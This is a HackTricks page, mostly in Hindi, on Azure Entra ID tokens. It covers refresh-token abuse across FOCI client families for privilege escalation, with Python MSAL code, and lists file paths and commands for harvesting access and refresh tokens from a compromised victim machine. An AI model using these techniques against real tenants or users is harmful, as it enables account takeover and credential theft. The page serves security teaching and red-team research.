Az - Tokens & Public Applications

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।

Basic Information

Entra ID Microsoft का क्लाउड-आधारित identity और access management (IAM) प्लेटफ़ॉर्म है, जो Microsoft 365 और Azure Resource Manager जैसे सेवाओं के लिए foundational authentication और authorization सिस्टम के रूप में कार्य करता है। Azure AD OAuth 2.0 authorization framework और OpenID Connect (OIDC) authentication protocol को लागू करता है ताकि resources तक एक्सेस को मैनेज किया जा सके।

OAuth

OAuth 2.0 में प्रमुख प्रतिभागी:

1. Resource Server (RS): resource owner के द्वारा स्वामित्व वाले resources की सुरक्षा करता है।
2. Resource Owner (RO): आमतौर पर एक end-user जो protected resources का मालिक होता है।
3. Client Application (CA): एक application जो resource owner की ओर से resources तक पहुंच चाहता है।
4. Authorization Server (AS): client applications को authenticate और authorize करने के बाद access tokens जारी करता है।

Scopes और Consent:

• Scopes: resource server पर परिभाषित granular permissions जो access स्तरों को निर्दिष्ट करते हैं।
• Consent: वह प्रक्रिया जिसके द्वारा resource owner किसी client application को विशिष्ट scopes के साथ resources तक पहुंच का permission देता है।

Microsoft 365 Integration:

• Microsoft 365 IAM के लिए Azure AD का उपयोग करता है और यह कई “first-party” OAuth applications से बना है।
• ये applications गहरे तरीके से एकीकृत होते हैं और अक्सर आपसी सेवा-निर्भर संबंध रखते हैं।
• उपयोगकर्ता अनुभव को सरल बनाने और कार्यक्षमता बनाए रखने के लिए, Microsoft इन first-party applications को “implied consent” या “pre-consent” प्रदान करता है।
• निहित सहमति (Implied Consent): कुछ applications को स्वचालित रूप से विशिष्ट scopes तक पहुंच बिना स्पष्ट user या administrator अनुमोदन के प्रदान की जाती है।
• ये pre-consented scopes आमतौर पर users और administrators दोनों से छिपे होते हैं, जिससे वे standard management interfaces में कम दिखाई देते हैं।

Client Application प्रकार:

1. Confidential Clients:

• अपनी खुद की credentials (जैसे passwords या certificates) रखते हैं।
• authorization server को securely authenticate कर सकते हैं।

2. Public Clients:

• अलग से unique credentials नहीं रखते।
• authorization server को securely authenticate नहीं कर पाते।
• Security Implication: एक attacker public client application का नकल कर सकता है जब वह tokens का अनुरोध कर रहा हो, क्योंकि authorization server के पास application की वैधता सत्यापित करने का कोई механизм नहीं होता।

Authentication Tokens

OIDC में उपयोग होने वाले तीन प्रकार के टोकन हैं:

• Access Tokens: क्लाइंट इस टोकन को resource server के पास resources तक पहुंचने के लिए प्रस्तुत करता है। यह केवल एक specific combination of user, client, और resource के लिए उपयोग किया जा सकता है और expiry तक revoke नहीं किया जा सकता — डिफ़ॉल्ट रूप से यह 1 घंटे है।
• ID Tokens: यह टोकन client को authorization server से मिलता है। इसमें user के बारे में basic जानकारी होती है। यह specific combination of user और client के लिए bound होता है।
• Refresh Tokens: access token के साथ client को प्रदान किए जाते हैं। इनका उपयोग नए access और ID tokens प्राप्त करने के लिए किया जाता है। यह एक specific combination of user और client के लिए bound होता है और revoke किया जा सकता है। inactive refresh tokens के लिए डिफ़ॉल्ट expiry 90 days है और active tokens के लिए no expiry (refresh token से नए refresh tokens प्राप्त करना संभव होने पर)।
• एक refresh token को एक aud, कुछ scopes, और एक tenant से जोड़ा जाना चाहिए और यह केवल उस aud, scopes (और और नहीं) और tenant के लिए access tokens जनरेट करने में सक्षम होना चाहिए। हालाँकि, यह FOCI applications tokens के साथ मामला नहीं है।
• एक refresh token encrypted होता है और केवल Microsoft ही इसे decrypt कर सकता है।
• नया refresh token प्राप्त करने से पिछले refresh token को revoke नहीं किया जाता।

Warning

conditional access की जानकारी JWT के अंदर store होती है। इसलिए, यदि आप allowed IP address से टोकन का अनुरोध करते हैं, तो वह IP टोकन में store हो जाएगा और फिर आप उस टोकन का उपयोग करके non-allowed IP से resources तक access कर सकेंगे।

Access Tokens “aud”

“aud” फील्ड में सूचित किया गया फ़ील्ड वह resource server (या application) है जिसका उपयोग login करने के लिए किया गया था।

कमांड az account get-access-token --resource-type [...] निम्नलिखित प्रकारों का समर्थन करता है और इनमें से प्रत्येक परिणामस्वरूप access token में एक specific “aud” जोड़ देगा:

Caution

ध्यान दें कि निम्नलिखित केवल az account get-access-token द्वारा समर्थित APIs हैं लेकिन और भी हैं।

Access Tokens Scopes “scp”

Access token का scope access token JWT के अंदर scp key के भीतर संग्रहीत होता है। ये scopes परिभाषित करते हैं कि access token किस चीज़ तक पहुँच रखता है।

यदि कोई JWT किसी specific API से संपर्क करने की अनुमति रखता है लेकिन उस अनुरोधित क्रिया को करने के लिए उसके पास आवश्यक scope नहीं है, तो वह JWT उस क्रिया को पूरा नहीं कर पाएगा।

Get refresh & access token example

# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List


# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"00b41c95-dab0-4487-9791-b9d2c32c80f2" # ID for Office 365 Management
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])

# Perform device code flow authentication

azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)


# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)


# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)

Other access token fields

• appid: टोकन जनरेट करने के लिए उपयोग किया गया Application ID
• appidacr: The Application Authentication Context Class Reference यह बताता है कि क्लाइंट कैसे authenticated था; public client के लिए value 0 होता है, और यदि client secret उपयोग किया गया हो तो value 1 होता है
• acr: The Authentication Context Class Reference claim “0” होता है जब end-user authentication ने ISO/IEC 29115 की आवश्यकताओं को पूरा नहीं किया।
• amr: Authentication method यह दिखाता है कि टोकन कैसे authenticated था। “pwd” value यह संकेत देती है कि पासवर्ड का उपयोग हुआ था।
• groups: उन groups को दर्शाता है जिनका principal सदस्य है।
• iss: यह security token service (STS) को पहचानता है जिसने टोकन जनरेट किया। e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
• oid: principal का object ID
• tid: Tenant ID
• iat, nbf, exp: Issued at (जब यह जारी किया गया), Not before (इस समय से पहले उपयोग नहीं किया जा सकता, आमतौर पर iat के समान मान), Expiration time.

FOCI Tokens Privilege Escalation

पूर्व में कहा गया था कि refresh tokens को जिन scopes के साथ इसे जनरेट किया गया था, उस application और जिस tenant के लिए इसे जनरेट किया गया था उनसे जोड़ा जाना चाहिए। यदि इन किसी भी सीमाओं को तोड़ा जाता है, तो यह संभव है कि privileges escalate हों क्योंकि इससे user के द्वारा access किए जा सकने वाले अन्य resources और tenants के लिए access tokens जनरेट करना संभव हो जाएगा और वे अधिक scopes के साथ हो सकते हैं जितना मूल रूप से निर्धारित था।

इसके अलावा, this is possible with all refresh tokens in the [Microsoft identity platform] (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) क्योंकि जैसा कि docs में उल्लेख है: “Refresh tokens are bound to a combination of user and client, but aren’t tied to a resource or tenant. A client can use a refresh token to acquire access tokens across any combination of resource and tenant where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them.”

और ध्यान दें कि FOCI applications public applications हैं, इसलिए server को authenticate करने के लिए no secret is needed।

फिर ज्ञात FOCI clients जो original research में रिपोर्ट किए गए थे उन्हें found here पर देखा जा सकता है।

Get different scope

Following with the previous example code, in this code it’s requested a new token for a different scope:

# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)

विभिन्न client और scopes प्राप्त करें

# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)

Tokens कहां मिल सकते हैं

एक हमलावर के दृष्टिकोण से यह जानना बहुत उपयोगी है कि, उदाहरण के लिए जब किसी victim का PC compromised हो, तो कहाँ access और refresh tokens मिल सकते हैं:

• <HOME>/.Azure के अंदर
• azureProfile.json में past के logged in users की जानकारी होती है
• clouds.config में subscriptions की जानकारी होती है
• service_principal_entries.json में applications credentials (tenant id, clients and secret) होते हैं। केवल Linux & macOS पर
• msal_token_cache.json में access tokens और refresh tokens होते हैं। केवल Linux & macOS पर
• service_principal_entries.bin और msal_token_cache.bin Windows में उपयोग होते हैं और DPAPI के साथ encrypted होते हैं
• msal_http_cache.bin HTTP request का cache है
• इसे लोड करें: with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)
• AzureRmContext.json में Az PowerShell का उपयोग करके पिछले logins की जानकारी होती है (लेकिन credentials नहीं)
• C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\* के अंदर कई .bin फाइलें होती हैं जिनमें users के DPAPI से encrypted access tokens, ID tokens और account जानकारी होती है
• और भी access tokens .tbres फाइलों में मिल सकते हैं जो C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\ के अंदर होते हैं और जिनमें DPAPI के साथ encrypted base64 में access tokens होते हैं
• Linux और macOS पर, अगर उपयोग हुआ हो तो Az PowerShell से आप access tokens, refresh tokens और id tokens पा सकते हैं: pwsh -Command "Save-AzContext -Path /tmp/az-context.json"
• Windows में यह केवल id tokens जनरेट करता है
• यह देखना संभव है कि Linux और macSO पर Az PowerShell का उपयोग हुआ था या नहीं यह चेक करके: $HOME/.local/share/.IdentityService/ मौजूद है या नहीं (हालाँकि उसमें मौजूद फाइलें खाली और बेकार होती हैं)
• अगर user browser में Azure में logged in है, तो इस post के अनुसार authentication flow को redirect to localhost के साथ शुरू करना, browser को स्वतः login authorize करने देना, और resh token प्राप्त करना संभव है। ध्यान दें कि केवल कुछ ही FOCI applications ऐसे हैं जो localhost पर redirect की अनुमति देते हैं (जैसे az cli या the powershell module), इसलिए इन applications की अनुमति होनी चाहिए।
• ब्लॉग में समझाया गया एक और विकल्प है tool BOF-entra-authcode-flow का उपयोग करना, जो किसी भी application का उपयोग कर सकता है क्योंकि यह OAuth code प्राप्त कर लेगा और फिर final auth पेज के title से refresh token प्राप्त करेगा, redirect URI के रूप में https://login.microsoftonline.com/common/oauth2/nativeclient का उपयोग करते हुए।

संदर्भ

• https://github.com/secureworks/family-of-client-ids-research
• https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।